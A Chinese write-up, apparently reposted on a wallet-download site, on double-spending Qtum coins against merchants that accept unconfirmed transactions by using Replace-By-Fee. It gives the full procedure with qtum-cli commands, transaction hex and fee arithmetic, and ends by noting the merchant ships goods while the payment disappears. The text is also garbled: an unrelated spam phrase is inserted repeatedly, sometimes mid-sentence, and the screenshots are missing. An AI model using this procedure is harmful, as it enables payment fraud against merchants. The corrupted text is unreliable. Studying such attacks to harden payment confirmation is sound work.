主页 > imtoken下载钱包 > RBF技术实现“双花漏洞”研究

RBF技术实现“双花漏洞”研究

imtoken下载钱包 2023-01-18 13:54:22

0x00 概述

现在市场上的假充值漏洞很多,比如前段时间出现的USDT假充值问题,或者之前在hackerone上曝光的coinbase中以太坊的充值问题。本报告主要探讨 Qtum 存在的问题。

0x01 假充值攻击过程

这些假充值漏洞一般是因为接受虚拟货币支付的商户(如电商平台、交易所等)支持无担保支付以获得良好的支付体验。确认交易充值的原因。漏洞发生场景如下:

如您在此处看到的,出现这种情况一般是因为商家接受了未经确认的交易。

本次攻击的核心问题是:作为攻击者,如何发起异常交易?

在比特币中,客户端和矿工将检查交易的每个字段。如果 utxo 是伪造的或者交易费用设置得很低,会直接被 P2P 网络拒绝,因此无法进入。由内存池中的矿工选择。在 bitcoin/qtum 的情况下,RFB 可用于构建此类交易。

0x02 RBF技术

RFB是Replace-By-Fee,就是用更高的交易费用来代替现有的交易。替换是指新的交易会使用旧交易的输入部分,但是这种情况并不是双花问题,因为实际上是替换了没有被确认的旧交易。因此,只有两笔交易中的一笔将被确认并添加到区块链中。一般是交易手续费较高的交易。

这里实际上存在双花问题。场景为攻击者向商户支付0.1 BTC,商户支持未确认交易支付:

usdt假充值手法

关于RFB,技术细节在这里,改进的协议在Bitcoin Core 0.12.0中实现。

这里简单说明一下,如果某笔交易的任何输入的nSequence字段设置为小于(0xffffffff - 1)的值,则该笔交易为可替换交易,例如:

....
"vin": [
    {
      "txid": "0d158a5ec4dad1c6abda3eb24c13ee872a2468b2234e2b035f5f4a61cc908701",
      "vout": 1,
      "scriptSig": {
        "asm": "304402201207cba81c284dfe30d87ded1bcdba267be1aa8753d0abecb7d18746ba6164d2022060566d9d19062bcb54a1f7dbf93711cf3ee14ea9d833ec78fba0f25ce313a2c9[ALL] 037f901bc1ca9601fdbdd464b55877134a859267e0e8863f089dde5a7a6acd2ab8",
        "hex": "47304402201207cba81c284dfe30d87ded1bcdba267be1aa8753d0abecb7d18746ba6164d2022060566d9d19062bcb54a1f7dbf93711cf3ee14ea9d833ec78fba0f25ce313a2c90121037f901bc1ca9601fdbdd464b55877134a859267e0e8863f089dde5a7a6acd2ab8"
      },
      "sequence": 4294967293  // 这里是RBF交易的标识
    }
  ],
....

当这个交易没有被确认时,可以发起另一个交易来代替这个交易的输入。

0x03 构造事务

Qtum 的代码和比特币基本一致,所以用 qtum 来复现吧。

钱包使用qtum-electrum,设置页面有一个选项可以打开RFB属性:

这里建议将按费用替换设置为始终。

然后构造一个事务。比如这里的商家是:QN5j2oa9cywEBaTB3DUNXcjCGuiPttGJTWt,自己的地址是QceiK7qDgnxruJ8HFTRiUDmfLybtsVZNAw。向商家地址转账0.002 qtums:

usdt假充值手法

这里的费用设置得很低,设置为0.001。

交易大致如下:

看Outputs部分就知道这个交易是把0.002值的qtum转给商家,那么第二个输出就是找零。

我们这里记录输入使用的UTXO,即f1671e8657b801e890bc69ea34e04a6d408f786524a72127f617aa018a5e51f0,索引为1,这里余额为0.772763 Qtum:

让我们先构造第二个事务,使用 qtum-cli:

# 创建原始交易
./qtum-cli createrawtransaction '[{"txid":"f1671e8657b801e890bc69ea34e04a6d408f786524a72127f617aa018a5e51f0","vout":1}]' '{"QceiK7qDgnxruJ8HFTRiUDmfLybtsVZNAw":0.770763}'

这个命令的意思是把f1671e8657b801e890bc69ea34e04a6d408f786524a72127f617aa018a5e51f0:1的utxo作为输入,然后把这个utxo传给自己。当然usdt假充值手法,手续费要自己算。

usdt假充值手法

在第一笔交易中,我们设置的交易手续费为0.001,这里我们将第二笔交易设置为0.002,交易2的输出计算方法如下:

Output_in_tx_2 = 0.772763 - 0.002 = 0.770763

这会产生 createrawtransaction 命令中的值。

然后签署交易:

# 签名交易
./qtum-cli signrawtransaction "0200000001f0515e8a01aa17f62721a72465788f406d4ae034ea69bc90e801b857861e67f10100000000ffffffff014c179804000000001976a914b006130cad3681eaf4182689e535c94399068cc288ac00000000"

输出如下:

{
  "hex": "0200000001f0515e8a01aa17f62721a72465788f406d4ae034ea69bc90e801b857861e67f1010000006a47304402204c9c15714e33fd525025b435302bfa34fd604a3ff5836c699f1679b1c74db90a022041c13a858ed5215bfe1e6617c523f90c886749030f7ba39e6a4f3a45d2918dfe0121037f901bc1ca9601fdbdd464b55877134a859267e0e8863f089dde5a7a6acd2ab8ffffffff014c179804000000001976a914b006130cad3681eaf4182689e535c94399068cc288ac00000000",
  "complete": true
}

0x03 广播交易重复发生

首先我们广播第一笔交易并调用以下命令:

./qtum-cli sendrawtransaction "hexstring"

usdt假充值手法

或者直接在钱包端广播。

在钱包的交易池中,可以看到这笔交易没有被确认,并且被标记为Replaceable,表示该交易可以是RFB。

然后发现在qtum浏览器中已经看到了这个交易:

因为费用设置的非常低,通常如果不进行RFB操作,需要5-6分钟才能确认交易(网络越拥塞越好)。此时,如果商户支持未确认交易支付,则支付成功。

然后我们发送第二笔交易:

在钱包交易池中可以看到,第一笔交易被第二笔交易取代,第二笔交易详情如下:

这是把第一笔交易输入的utxo转给自己,只不过手续费是0.002 Qtum,是第一笔交易的两倍。此时我们只剩下一笔交易,即第二笔交易代替第一笔交易:

usdt假充值手法

在Qtum浏览器上是这样的,此时刷新第一笔交易的页面,发现该笔交易已经不可用了,但是我们的目的已经达到了,也就是支付成功了商家这边usdt假充值手法,实物交割没了。整个过程我们只用了0.002个qtum。

0x04 总结

总结一下,Qtum假充值的全过程如下:

总的来说,这个假充值的漏洞,一般公链是无可指责的,区块链的共识使得交易无法原子操作。只能依靠DApp端确认交易,但随着后续公链的出块时间越来越快,这种攻击可能难以发起。

参考

(1)

(2)

(3)

(4) @overtorment/bitcoin-replace-by-fee-guide-e10032f9a93f